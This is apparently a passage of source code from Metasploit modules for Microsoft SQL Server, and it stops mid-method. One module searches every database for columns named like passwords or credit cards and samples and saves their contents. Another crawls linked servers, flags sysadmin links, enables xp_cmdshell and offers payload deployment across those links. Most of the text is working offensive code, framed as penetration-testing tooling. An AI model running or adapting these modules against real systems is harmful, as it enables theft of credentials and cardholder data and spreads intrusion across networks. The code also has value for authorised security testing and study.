| cast(column_value as char) as column_data_sample, 292 | cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2 293 | END 294 | ELSE 295 | BEGIN 296 | SELECT DISTINCT cast(server_name as CHAR) as server_name, 297 | cast(database_name as char) as database_name, 298 | cast(table_schema as char) as table_schema, 299 | cast(table_name as char) as table_schema, 300 | cast(column_name as char) as column_name, 301 | cast(column_data_type as char) as column_data_type, 302 | cast(column_value as char) as column_data_sample, 303 | cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2 304 | END 305 | END 306 | ----------------------------------- 307 | -- REMOVE GLOBAL TEMP TABLES 308 | ----------------------------------- 309 | IF OBJECT_ID('tempdb..##mytable') IS NOT NULL DROP TABLE ##mytable; 310 | IF OBJECT_ID('tempdb..##mytable2') IS NOT NULL DROP TABLE ##mytable2; 311 | 312 | END 313 | ELSE 314 | BEGIN 315 | ---------------------------------------------------------------------- 316 | -- RETURN ERROR MESSAGES IF THERE ARE NOT DATABASES TO ACCESS 317 | ---------------------------------------------------------------------- 318 | IF (SELECT count(*) FROM master..sysdatabases 319 | WHERE name NOT IN ('master','tempdb','model','msdb')) < 1 320 | SELECT 'No non-default databases exist to search.' as Message; 321 | ELSE 322 | SELECT 'Non-default databases exist, 323 | but the current user does not have 324 | the privileges to access them.' as Message; 325 | END 326 | END 327 | else 328 | BEGIN 329 | SELECT 'This module only works on SQL Server 2005 and above.'; 330 | END 331 | 332 | SET NOCOUNT OFF;" 333 | 334 | 335 | 336 | #STATUSING 337 | print_line(" ") 338 | print_status("Attempting to connect to the SQL Server at #{rhost}:#{rport}...") 339 | 340 | #CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING 341 | begin 342 | result = mssql_query(sql, false) if mssql_login_datastore 343 | column_data = result[:rows] 344 | print_status("Successfully connected to #{rhost}:#{rport}") 345 | rescue 346 | print_status ("Failed to connect to #{rhost}:#{rport}.") 347 | return 348 | end 349 | 350 | #CREATE TABLE TO STORE SQL SERVER DATA LOOT 351 | sql_data_tbl = Rex::Ui::Text::Table.new( 352 | 'Header' => 'SQL Server Data', 353 | 'Ident' => 1, 354 | 'Columns' => ['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count'] 355 | ) 356 | 357 | #STATUSING 358 | print_status("Attempting to retrieve data ...") 359 | 360 | if (column_data.count < 7) 361 | #Save loot status 362 | save_loot="no" 363 | 364 | #Return error from SQL server 365 | column_data.each { |row| 366 | print_status("#{row.to_s.gsub("[","").gsub("]","").gsub("\"","")}") 367 | } 368 | return 369 | else 370 | #SETUP COLUM WIDTH FOR QUERY RESULTS 371 | #Save loot status 372 | save_loot="yes" 373 | column_data.each { |row| 374 | 0.upto(7) { |col| 375 | row[col] = row[col].strip.to_s 376 | } 377 | } 378 | print_line(" ") 379 | end 380 | 381 | #SETUP ROW WIDTHS 382 | widths = [0, 0, 0, 0, 0, 0, 0, 0] 383 | (column_data|headings).each { |row| 384 | 0.upto(7) { |col| 385 | widths[col] = row[col].to_s.length if row[col].to_s.length > widths[col] 386 | } 387 | } 388 | 389 | #PRINT HEADERS 390 | buffer1 = "" 391 | buffer2 = "" 392 | headings.each { |row| 393 | 0.upto(7) { |col| 394 | buffer1 += row[col].ljust(widths[col] + 1) 395 | buffer2 += row[col]+ "," 396 | } 397 | print_line(buffer1) 398 | buffer2 = buffer2.chomp(",")+ "\n" 399 | } 400 | 401 | #PRINT DIVIDERS 402 | buffer1 = "" 403 | buffer2 = "" 404 | headings.each { |row| 405 | 0.upto(7) { |col| 406 | divider = "=" * widths[col] + " " 407 | buffer1 += divider.ljust(widths[col] + 1) 408 | } 409 | print_line(buffer1) 410 | } 411 | 412 | #PRINT DATA 413 | buffer1 = "" 414 | buffer2 = "" 415 | print_line("") 416 | column_data.each { |row| 417 | 0.upto(7) { |col| 418 | buffer1 += row[col].ljust(widths[col] + 1) 419 | buffer2 += row[col] + "," 420 | } 421 | print_line(buffer1) 422 | buffer2 = buffer2.chomp(",")+ "\n" 423 | 424 | #WRITE QUERY OUTPUT TO TEMP REPORT TABLE 425 | sql_data_tbl << [row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7]] 426 | 427 | buffer1 = "" 428 | buffer2 = "" 429 | print_line(buffer1) 430 | } 431 | disconnect 432 | 433 | this_service = nil 434 | if framework.db and framework.db.active 435 | this_service = report_service( 436 | :host => rhost, 437 | :port => rport, 438 | :name => 'mssql', 439 | :proto => 'tcp' 440 | ) 441 | end 442 | 443 | #CONVERT TABLE TO CSV AND WRITE TO FILE 444 | if (save_loot=="yes") 445 | filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_sqlserver_query_results.csv" 446 | path = store_loot("mssql.data", "text/plain", datastore['RHOST'], sql_data_tbl.to_csv, filename, "SQL Server query results",this_service) 447 | print_status("Query results have been saved to: #{path}") 448 | end 449 | 450 | end 451 | 452 | end -------------------------------------------------------------------------------- /mssql_findandsampledata_old.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # $Id: mssql_FindandSampleData.rb 2011-11-15 nullbind $ 3 | ## 4 | 5 | ## 6 | # Credits: 7 | # Thank you Dijininja for your original IDF 8 | # module. Also, thank you humble-desser and DarkOperator 9 | # helping me work through a few critical issues. 10 | ## 11 | 12 | ## 13 | # Use Case: 14 | # This script will search through all of the non-default 15 | # databases on the SQL Server for columns that match the 16 | # keywords defined in the TSQL KEYWORDS option. If column 17 | # names are found that match the defined keywords and 18 | # data is present in the associated tables, the script 19 | # will select a sample of the records from each 20 | # of the affected tables. The sample size is determined 21 | # by the SAMPLESIZE option. Also, the results can be written to a 22 | # CSV file if the OUTPUT is set to "yes" and an OUTPUTPATH option is set. 23 | # 24 | # This script is valuable for gathering evidence during PCI 25 | # penetration tests and could even be used during the PCI 26 | # data dicovery process. 27 | # 28 | # Important note: This script only works on SQL Server 2005 and 2008 29 | ## 30 | 31 | require 'msf/core' 32 | 33 | 34 | class Metasploit3 < Msf::Auxiliary 35 | 36 | include Msf::Exploit::Remote::MSSQL 37 | include Msf::Auxiliary::Scanner 38 | include Msf::Auxiliary::Report 39 | 40 | def initialize(info = {}) 41 | super(update_info(info, 42 | 'Name' => 'Microsoft SQL Server - Find and Sample Data', 43 | 'Description' => %q{This script will search through all of the non-default databases 44 | on the SQL Server for columns that match the keywords defined in the TSQL KEYWORDS 45 | option. If column names are found that match the defined keywords and data is present 46 | in the associated tables, the script will select a sample of the records from each of 47 | the affected tables. The sample size is determined by the SAMPLESIZE option. Also, 48 | the results can be written to a CSV file if the OUTPUT is set to "yes" and the 49 | OUTPUTPATH option is set. 50 | }, 51 | 'Author' => [ 'Scot Sutherland (nullbind) ' ], 52 | 'Version' => '$Revision: 12196 $', 53 | 'License' => MSF_LICENSE, 54 | 'References' => [[ 'URL', 'http://www.netspi.com/blog/author/ssutherland/' ]], 55 | 'Targets' => [[ 'MSSQL 2005', { 'ver' => 2005 }]] 56 | )) 57 | 58 | register_options( 59 | [ 60 | OptString.new('KEYWORDS', [ true, 'Keywords to search for','passw|credit|card']), 61 | OptString.new('SAMPLESIZE', [ true, 'Number of rows to sample', '1']), 62 | OptString.new('OUTPUT', [ false, 'Generate CSV file from search results', 'no']), 63 | OptString.new('OUTPUTPATH', [ false, 'File output path (C:\\\filename.csv)', '']), 64 | ], self.class) 65 | end 66 | 67 | def print_with_underline(str) 68 | print_line(str) 69 | print_line("=" * str.length) 70 | end 71 | 72 | def run_host(ip) 73 | 74 | #SETUP PRETTY OPTION VARIABLES FOR LATER USE 75 | opt_sample = datastore['SAMPLESIZE'] 76 | opt_ouput = datastore['OUTPUT'] 77 | opt_outputpath = datastore['OUTPUTPATH'] 78 | opt_keywords = datastore['KEYWORDS'] 79 | 80 | #DEFINED HEADER TEXT 81 | headings = [ 82 | ["Server","Database", "Schema", "Table", "Column", "Data Type", "Sample Data","Row Count"] 83 | ] 84 | 85 | #DEFINE SEARCH QUERY AS VARIABLE 86 | sql = " 87 | -- CHECK IF VERSION IS COMPATABLE > than 2000 88 | IF (SELECT SUBSTRING(CAST(SERVERPROPERTY('ProductVersion') as VARCHAR), 1, 89 | CHARINDEX('.',cast(SERVERPROPERTY('ProductVersion') as VARCHAR),1)-1)) > 8 90 | BEGIN 91 | 92 | -- TURN OFF ROW COUNT 93 | SET NOCOUNT ON; 94 | -------------------------------------------------- 95 | -- SETUP UP SAMPLE SIZE 96 | -------------------------------------------------- 97 | DECLARE @SAMPLE_COUNT varchar(MAX); 98 | SET @SAMPLE_COUNT = #{opt_sample}; 99 | 100 | -------------------------------------------------- 101 | -- SETUP KEYWORDS TO SEARCH 102 | -------------------------------------------------- 103 | DECLARE @KEYWORDS varchar(MAX); 104 | SET @KEYWORDS = '#{opt_keywords}|'; 105 | 106 | -------------------------------------------------- 107 | --SETUP WHERE STATEMENT CONTAINING KEYWORDS 108 | -------------------------------------------------- 109 | DECLARE @SEARCH_TERMS varchar(MAX); 110 | SET @SEARCH_TERMS = ''; -- Leave this blank 111 | 112 | -- START WHILE LOOP HERE -- BEGIN TO ITTERATE THROUGH KEYWORDS 113 | 114 | WHILE LEN(@KEYWORDS) > 0 115 | BEGIN 116 | --SET VARIABLES UP FOR PARSING PROCESS 117 | DECLARE @change int 118 | DECLARE @keyword varchar(MAX) 119 | 120 | --SET KEYWORD CHANGE TRACKER 121 | SELECT @change = CHARINDEX('|',@KEYWORDS); 122 | 123 | --PARSE KEYWORD 124 | SELECT @keyword = SUBSTRING(@KEYWORDS,0,@change) ; 125 | 126 | -- PROCESS KEYWORD AND GENERATE WHERE CLAUSE FOR IT 127 | SELECT @SEARCH_TERMS = 'LOWER(COLUMN_NAME) like ''%'+@keyword+'%'' or '+@SEARCH_TERMS 128 | 129 | -- REMOVE PROCESSED KEYWORD 130 | SET @KEYWORDS = SUBSTRING(@KEYWORDS,@change+1,LEN(@KEYWORDS)); 131 | 132 | END 133 | -- REMOVE UNEEDED 134 | SELECT @SEARCH_TERMS = SUBSTRING(@SEARCH_TERMS,0,LEN(@SEARCH_TERMS)-2); 135 | 136 | -------------------------------------------------- 137 | -- CREATE GLOBAL TEMP TABLES 138 | -------------------------------------------------- 139 | USE master; 140 | 141 | IF OBJECT_ID('tempdb..##mytable') IS NOT NULL DROP TABLE ##mytable; 142 | IF OBJECT_ID('tempdb..##mytable') IS NULL 143 | BEGIN 144 | CREATE TABLE ##mytable ( 145 | server_name varchar(MAX), 146 | database_name varchar(MAX), 147 | table_schema varchar(MAX), 148 | table_name varchar(MAX), 149 | column_name varchar(MAX), 150 | column_data_type varchar(MAX) 151 | ) 152 | END 153 | 154 | IF OBJECT_ID('tempdb..##mytable2') IS NOT NULL DROP TABLE ##mytable2; 155 | IF OBJECT_ID('tempdb..##mytable2') IS NULL 156 | BEGIN 157 | CREATE TABLE ##mytable2 ( 158 | server_name varchar(MAX), 159 | database_name varchar(MAX), 160 | table_schema varchar(MAX), 161 | table_name varchar(MAX), 162 | column_name varchar(MAX), 163 | column_data_type varchar(MAX), 164 | column_value varchar(MAX), 165 | column_data_row_count varchar(MAX) 166 | ) 167 | END 168 | 169 | -------------------------------------------------- 170 | -- CURSOR1 171 | -- ENUMERATE COLUMNS FROM EACH DATABASE THAT 172 | -- CONTAIN KEYWORD AND WRITE THEM TO A TEMP TABLE 173 | -------------------------------------------------- 174 | 175 | -- SETUP SOME VARIABLES FOR THE MYCURSOR1 176 | DECLARE @var1 varchar(max); 177 | DECLARE @var2 varchar(max); 178 | 179 | -------------------------------------------------------------------- 180 | -- CHECK IF ANY NON-DEFAULT DATABASE EXIST 181 | -------------------------------------------------------------------- 182 | IF (SELECT count(*) 183 | FROM master..sysdatabases 184 | WHERE name NOT IN ('master','tempdb','model','msdb') 185 | and HAS_DBACCESS(name) <> 0) <> 0 186 | BEGIN 187 | DECLARE MY_CURSOR1 CURSOR 188 | FOR 189 | 190 | SELECT name FROM master..sysdatabases 191 | WHERE name NOT IN ('master','tempdb','model','msdb') 192 | and HAS_DBACCESS(name) <> 0; 193 | 194 | OPEN MY_CURSOR1 195 | FETCH NEXT FROM MY_CURSOR1 INTO @var1 196 | WHILE @@FETCH_STATUS = 0 197 | BEGIN 198 | --------------------------------------------------- 199 | -- SEARCH FOR KEYWORDS/INSERT RESULTS INTO MYTABLE 200 | --------------------------------------------------- 201 | SET @var2 = ' 202 | INSERT INTO ##mytable 203 | SELECT @@SERVERNAME as SERVER_NAME, 204 | TABLE_CATALOG as DATABASE_NAME, 205 | TABLE_SCHEMA, 206 | TABLE_NAME, 207 | COLUMN_NAME, 208 | DATA_TYPE 209 | FROM ['+@var1+'].[INFORMATION_SCHEMA].[COLUMNS] WHERE ' 210 | 211 | --APPEND KEYWORDS TO QUERY 212 | DECLARE @fullquery VARCHAR(MAX); 213 | SET @fullquery = @var2+@SEARCH_TERMS; 214 | 215 | EXEC(@fullquery); 216 | FETCH NEXT FROM MY_CURSOR1 INTO @var1 217 | 218 | END 219 | CLOSE MY_CURSOR1 220 | DEALLOCATE MY_CURSOR1 221 | ------------------------------------------------- 222 | -- CURSOR2 223 | -- TAKE A X RECORD SAMPLE FROM EACH OF THE COLUMNS 224 | -- THAT MATCH THE DEFINED KEYWORDS 225 | -- NOTE: THIS WILL NOT SAMPLE EMPTY TABLES 226 | ------------------------------------------------- 227 | 228 | IF (SELECT COUNT(*) FROM ##mytable) < 1 229 | BEGIN 230 | SELECT 'No columns where found that match the defined keywords.' as Message; 231 | END 232 | ELSE 233 | BEGIN 234 | DECLARE @var_server varchar(max) 235 | DECLARE @var_database varchar(max) 236 | DECLARE @var_table varchar(max) 237 | DECLARE @var_table_schema varchar(max) 238 | DECLARE @var_column_data_type varchar(max) 239 | DECLARE @var_column varchar(max) 240 | DECLARE @myquery varchar(max) 241 | DECLARE @var_column_data_row_count varchar(MAX) 242 | 243 | DECLARE MY_CURSOR2 CURSOR 244 | FOR 245 | SELECT server_name,database_name,table_schema,table_name,column_name,column_data_type 246 | FROM ##mytable 247 | 248 | OPEN MY_CURSOR2 249 | FETCH NEXT FROM MY_CURSOR2 INTO @var_server, 250 | @var_database, 251 | @var_table_schema, 252 | @var_table, 253 | @var_column, 254 | @var_column_data_type 255 | WHILE @@FETCH_STATUS = 0 256 | BEGIN 257 | ---------------------------------------------------------------------- 258 | -- ADD AFFECTED SERVER/SCHEMA/TABLE/COLUMN/DATATYPE/SAMPLE DATA TO MYTABLE2 259 | ---------------------------------------------------------------------- 260 | -- GET COUNT 261 | DECLARE @mycount_query as varchar(MAX); 262 | DECLARE @mycount as varchar(MAX); 263 | 264 | -- CREATE TEMP TABLE TO GET THE COLUMN DATA ROW COUNT 265 | IF OBJECT_ID('tempdb..#mycount') IS NOT NULL DROP TABLE #mycount 266 | CREATE TABLE #mycount(mycount VARCHAR(MAX)); 267 | 268 | -- SETUP AND EXECUTE THE COLUMN DATA ROW COUNT QUERY 269 | SET @mycount_query = 'INSERT INTO #mycount SELECT DISTINCT 270 | COUNT('+@var_column+') FROM '+@var_database+'. 271 | '+@var_table_schema+'.'+@var_table; 272 | EXEC(@mycount_query); 273 | 274 | -- SET THE COLUMN DATA ROW COUNT 275 | SELECT @mycount = mycount FROM #mycount; 276 | 277 | -- REMOVE TEMP TABLE 278 | IF OBJECT_ID('tempdb..#mycount') IS NOT NULL DROP TABLE #mycount 279 | 280 | SET @myquery = ' 281 | INSERT INTO ##mytable2 282 | (server_name, 283 | database_name, 284 | table_schema, 285 | table_name, 286 | column_name, 287 | column_data_type, 288 | column_value, 289 | column_data_row_count) 290 | SELECT TOP '+@SAMPLE_COUNT+' ('''+@var_server+''') as server_name, 291 | ('''+@var_database+''') as database_name, 292 | ('''+@var_table_schema+''') as table_schema, 293 | ('''+@var_table+''') as table_name, 294 | ('''+@var_column+''') as comlumn_name, 295 | ('''+@var_column_data_type+''') as column_data_type, 296 | '+@var_column+','+@mycount+' as column_data_row_count 297 | FROM ['+@var_database+'].['+@var_table_schema++'].['+@var_table+'] 298 | WHERE '+@var_column+' IS NOT NULL; 299 | ' 300 | EXEC(@myquery); 301 | 302 | FETCH NEXT FROM MY_CURSOR2 INTO 303 | @var_server, 304 | @var_database, 305 | @var_table_schema, 306 | @var_table,@var_column, 307 | @var_column_data_type 308 | END 309 | CLOSE MY_CURSOR2 310 | DEALLOCATE MY_CURSOR2 311 | 312 | ----------------------------------- 313 | -- SELECT THE RESULTS OF THE SEARCH 314 | ----------------------------------- 315 | IF (SELECT @SAMPLE_COUNT)= 1 316 | BEGIN 317 | SELECT DISTINCT cast(server_name as CHAR) as server_name, 318 | cast(database_name as char) as database_name, 319 | cast(table_schema as char) as table_schema, 320 | cast(table_name as char) as table_schema, 321 | cast(column_name as char) as column_name, 322 | cast(column_data_type as char) as column_data_type, 323 | cast(column_value as char) as column_data_sample, 324 | cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2 325 | END 326 | ELSE 327 | BEGIN 328 | SELECT DISTINCT cast(server_name as CHAR) as server_name, 329 | cast(database_name as char) as database_name, 330 | cast(table_schema as char) as table_schema, 331 | cast(table_name as char) as table_schema, 332 | cast(column_name as char) as column_name, 333 | cast(column_data_type as char) as column_data_type, 334 | cast(column_value as char) as column_data_sample, 335 | cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2 336 | END 337 | END 338 | ----------------------------------- 339 | -- REMOVE GLOBAL TEMP TABLES 340 | ----------------------------------- 341 | IF OBJECT_ID('tempdb..##mytable') IS NOT NULL DROP TABLE ##mytable; 342 | IF OBJECT_ID('tempdb..##mytable2') IS NOT NULL DROP TABLE ##mytable2; 343 | 344 | END 345 | ELSE 346 | BEGIN 347 | ---------------------------------------------------------------------- 348 | -- RETURN ERROR MESSAGES IF THERE ARE NOT DATABASES TO ACCESS 349 | ---------------------------------------------------------------------- 350 | IF (SELECT count(*) FROM master..sysdatabases 351 | WHERE name NOT IN ('master','tempdb','model','msdb')) < 1 352 | SELECT 'No non-default databases exist to search.' as Message; 353 | ELSE 354 | SELECT 'Non-default databases exist, 355 | but the current user does not have 356 | the privileges to access them.' as Message; 357 | END 358 | END 359 | else 360 | BEGIN 361 | SELECT 'This module only works on SQL Server 2005 and above.'; 362 | END 363 | 364 | SET NOCOUNT OFF;" 365 | 366 | #STATUSING 367 | print_line(" ") 368 | print_line("[*] STATUS: Attempting to connect to the SQL Server at #{rhost}:#{rport}...") 369 | 370 | #CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING 371 | begin 372 | result = mssql_query(sql, false) if mssql_login_datastore 373 | column_data = result[:rows] 374 | print_line("[*] STATUS: Connected to #{rhost}:#{rport} successfully.") 375 | rescue 376 | print_line("[-] ERROR : Connection to #{rhost}:#{rport} failed.") 377 | return 378 | end 379 | 380 | #STATUSING 381 | print_line("[*] STATUS: Attempting to retrieve data ...") 382 | 383 | if (column_data.count < 7) 384 | #Return error from SQL server 385 | column_data.each { |row| 386 | print_line("[*] STATUS: #{row.to_s.gsub("[","").gsub("]","").gsub("\"","")}") 387 | } 388 | return 389 | else 390 | #Setup column width for standard query results 391 | column_data.each { |row| 392 | 0.upto(7) { |col| 393 | row[col] = row[col].strip.to_s 394 | } 395 | } 396 | print_line(" ") 397 | end 398 | 399 | #SETUP ROW WIDTHS 400 | widths = [0, 0, 0, 0, 0, 0, 0, 0] 401 | (column_data|headings).each { |row| 402 | 0.upto(7) { |col| 403 | widths[col] = row[col].to_s.length if row[col].to_s.length > widths[col] 404 | } 405 | } 406 | 407 | #PRINT HEADERS 408 | buffer1 = "" 409 | buffer2 = "" 410 | headings.each { |row| 411 | 0.upto(7) { |col| 412 | buffer1 += row[col].ljust(widths[col] + 1) 413 | buffer2 += row[col]+ "," 414 | } 415 | print_line(buffer1) 416 | buffer2 = buffer2.chomp(",")+ "\n" 417 | File.open(opt_outputpath, 'ab') do |myfile| myfile.print(buffer2) 418 | end if (opt_ouput.downcase == "yes" and opt_outputpath.downcase != "") 419 | } 420 | 421 | #PRINT DIVIDERS 422 | buffer1 = "" 423 | buffer2 = "" 424 | headings.each { |row| 425 | 0.upto(7) { |col| 426 | divider = "=" * widths[col] + " " 427 | buffer1 += divider.ljust(widths[col] + 1) 428 | } 429 | print_line(buffer1) 430 | } 431 | 432 | #PRINT DATA 433 | buffer1 = "" 434 | buffer2 = "" 435 | print_line("") 436 | column_data.each { |row| 437 | 0.upto(7) { |col| 438 | buffer1 += row[col].ljust(widths[col] + 1) 439 | buffer2 += row[col] + "," 440 | } 441 | print_line(buffer1) 442 | buffer2 = buffer2.chomp(",")+ "\n" 443 | # Write query output to the defined file path 444 | # Note: This will overwrite existing files 445 | File.open(opt_outputpath, 'ab') do |myfile| myfile.print(buffer2) 446 | end if (opt_ouput.downcase == "yes" and opt_outputpath.downcase != "") 447 | buffer1 = "" 448 | buffer2 = "" 449 | print_line(buffer1) 450 | } 451 | disconnect 452 | 453 | #CHECK IF QUERY OUTPUT WAS WRITTEN TO THE FILE 454 | if File.exist?(opt_outputpath) 455 | print_line("[*] The query output from #{rhost} has been written to: #{opt_outputpath}") 456 | else 457 | print_line("[*] The query output from #{rhost} was NOT written to a file.") 458 | end 459 | 460 | 461 | end 462 | end -------------------------------------------------------------------------------- /mssql_linkcrawler.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | require 'msf/core/exploit/mssql_commands' 3 | 4 | class Metasploit3 < Msf::Exploit::Remote 5 | Rank = GreatRanking 6 | 7 | include Msf::Exploit::Remote::MSSQL 8 | include Msf::Auxiliary::Report 9 | include Msf::Exploit::CmdStagerVBS 10 | #include Msf::Exploit::EXE 11 | 12 | def initialize(info = {}) 13 | super(update_info(info, 14 | 'Name' => 'Microsoft SQL Server - Database Link Crawler', 15 | 'Description' => %q{When provided credentials, this module will crawl 16 | SQL Server database links and identify links configured with sysadmin privileges.}, 17 | 'Author' => 18 | [ 19 | 'Antti Rantasaari ', 20 | 'nullbind ' 21 | ], 22 | 'Platform' => [ 'Windows' ], 23 | 'License' => MSF_LICENSE, 24 | 'References' => [[ 'URL', 'http://www.netspi.com/' ]], 25 | 'Platform' => 'win', 26 | 'DisclosureDate' => 'Jan 1 2000', 27 | 'Targets' => 28 | [ 29 | [ 'Automatic', { } ], 30 | ], 31 | 'DefaultTarget' => 0 32 | )) 33 | 34 | register_options( 35 | [ 36 | OptBool.new('VERBOSE', [false, 'Set how verbose the output should be', 'false']), 37 | OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', 'false']), 38 | OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy to']), 39 | ], self.class) 40 | end 41 | 42 | def exploit 43 | # Display start time 44 | time1 = Time.new 45 | print_status("-------------------------------------------------") 46 | print_status("Start time : #{time1.inspect}") 47 | print_status("-------------------------------------------------") 48 | 49 | # Check if credentials are correct 50 | print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...") 51 | 52 | if (not mssql_login_datastore) 53 | print_error("Invalid SQL Server credentials") 54 | print_status("-------------------------------------------------") 55 | return 56 | end 57 | 58 | # Define master array to keep track of enumerated database information 59 | masterList = Array.new 60 | masterList[0] = Hash.new # Define new hash 61 | masterList[0]["name"] = "" # Name of the current database server 62 | masterList[0]["db_link"] = "" # Name of the linked database server 63 | masterList[0]["db_user"] = "" # User configured on the database server link 64 | masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges 65 | masterList[0]["db_version"] = "" # Database version of the linked database server 66 | masterList[0]["db_os"] = "" # OS of the linked database server 67 | masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored 68 | masterList[0]["done"] = 0 # Used to determine if linked need to be crawled 69 | 70 | shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system 71 | 72 | # Setup query for gathering information from database servers 73 | versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\ 74 | (ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\ 75 | (char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\ 76 | CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \ 77 | -charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \ 78 | master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount" 79 | 80 | # Create loot table to store configuration information from crawled database server links 81 | linked_server_table = Rex::Ui::Text::Table.new( 82 | 'Header' => 'Linked Server Table', 83 | 'Ident' => 1, 84 | 'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state'] 85 | ) 86 | save_loot = "" 87 | 88 | # Start crawling through linked database servers 89 | while masterList.any? {|f| f["done"] == 0} 90 | # Find the first DB server that has not been crawled (not marked as done) 91 | server = masterList.detect {|f| f["done"] == 0} 92 | 93 | # Get configuration information from the database server 94 | sql = query_builder(server["path"].first,"",0,versionQuery) 95 | result = mssql_query(sql, false) if mssql_login_datastore 96 | parse_results = result[:rows] 97 | parse_results.each { |s| 98 | server["name"] = s[0] 99 | server["db_user"] = s[1] 100 | server["db_sysadmin"] = s[5] 101 | server["db_version"] = s[3] 102 | server["db_os"] = s[4] 103 | server["numlinks"] = s[6] 104 | } 105 | if masterList.length == 1 106 | print_good("Successfully connected to #{server["name"]}") 107 | if datastore['VERBOSE'] == true 108 | show_configs(server["name"],parse_results,true) 109 | elsif server["db_sysadmin"] == 1 110 | print_good("Sysadmin on #{server["name"]}") 111 | end 112 | end 113 | if server["db_sysadmin"] == 1 114 | enable_xp_cmdshell(server["path"].first,server["name"],shelled) 115 | end 116 | 117 | # If links were found, determine if they can be connected to and add to crawl list 118 | if (server["numlinks"] > 0) 119 | # Enable loot 120 | save_loot = "yes" 121 | 122 | # Select a list of the linked database servers that exist on the current database server 123 | print_status("") 124 | print_status("-------------------------------------------------") 125 | print_status("Crawling links on #{server["name"]}...") 126 | # Display number db server links 127 | print_status("Links found: #{server["numlinks"]}") 128 | print_status("-------------------------------------------------") 129 | execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'" 130 | sql = query_builder(server["path"].first,"",0,execute) 131 | result = mssql_query(sql, false) if mssql_login_datastore 132 | 133 | result[:rows].each {|name| 134 | name.each {|name| 135 | 136 | # Check if link works and if sysadmin permissions - temp array to save orig server[path] 137 | temppath = Array.new 138 | temppath = server["path"].first.dup 139 | temppath << name 140 | 141 | # Get configuration information from the linked server 142 | sql = query_builder(temppath,"",0,versionQuery) 143 | result = mssql_query(sql, false) if mssql_login_datastore 144 | 145 | # Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists 146 | if result[:errors].empty? and result[:rows] != nil then 147 | # Assign db query results to variables for hash 148 | parse_results = result[:rows] 149 | 150 | # Add link server information to loot 151 | link_status = 'up' 152 | write_to_report(name,server,parse_results,linked_server_table,link_status) 153 | 154 | # Display link server information in verbose mode 155 | if datastore['VERBOSE'] == true 156 | show_configs(name,parse_results) 157 | print_status(" o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}") 158 | else 159 | if parse_results[0][5] == 1 160 | print_good("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)") 161 | else 162 | print_status("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}") 163 | end 164 | end 165 | 166 | # Add link to masterlist hash 167 | unless masterList.any? {|f| f["name"] == name} 168 | masterList << add_host(name,server["path"].first,parse_results) 169 | else 170 | (0..masterList.length-1).each do |x| 171 | if masterList[x]["name"] == name 172 | masterList[x]["path"] << server["path"].first.dup 173 | masterList[x]["path"].last << name 174 | unless shelled.include?(name) 175 | if parse_results[0][2]==1 176 | enable_xp_cmdshell(masterList[x]["path"].last.dup,name,shelled) 177 | end 178 | end 179 | else 180 | break 181 | end 182 | end 183 | end 184 | else 185 | # Add to report 186 | linked_server_table << [server["name"],server["db_version"],server["db_os"],name,'NA','NA','NA','NA','Connection Failed'] 187 | 188 | # Display status to user 189 | if datastore['VERBOSE'] == true 190 | print_status(" ") 191 | print_error("Linked Server: #{name} ") 192 | print_error(" o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed") 193 | print_status(" Failure could be due to:") 194 | print_status(" - A dead server") 195 | print_status(" - Bad credentials") 196 | print_status(" - Nested open queries through SQL 2000") 197 | else 198 | print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed") 199 | end 200 | end 201 | } 202 | } 203 | end 204 | # Set server to "crawled" 205 | server["done"]=1 206 | end 207 | 208 | print_status("-------------------------------------------------") 209 | 210 | # Setup table for loot 211 | this_service = nil 212 | if framework.db and framework.db.active 213 | this_service = report_service( 214 | :host => rhost, 215 | :port => rport, 216 | :name => 'mssql', 217 | :proto => 'tcp' 218 | ) 219 | end 220 | 221 | # Display end time 222 | time1 = Time.new 223 | print_status("End time : #{time1.inspect}") 224 | print_status("-------------------------------------------------") 225 | 226 | # Write log to loot / file 227 | if (save_loot=="yes") 228 | filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_linked_servers.csv" 229 | path = store_loot("crawled_links", "text/plain", datastore['RHOST'], linked_server_table.to_csv, filename, "Linked servers",this_service) 230 | print_status("Results have been saved to: #{path}") 231 | end 232 | end 233 | 234 | # --------------------------------------------------------------------- 235 | # Method that builds nested openquery statements using during crawling 236 | # --------------------------------------------------------------------- 237 | def query_builder(path,sql,ticks,execute) 238 | 239 | # Temp used to maintain the original masterList[x]["path"] 240 | temp = Array.new 241 | path.each {|i| temp << 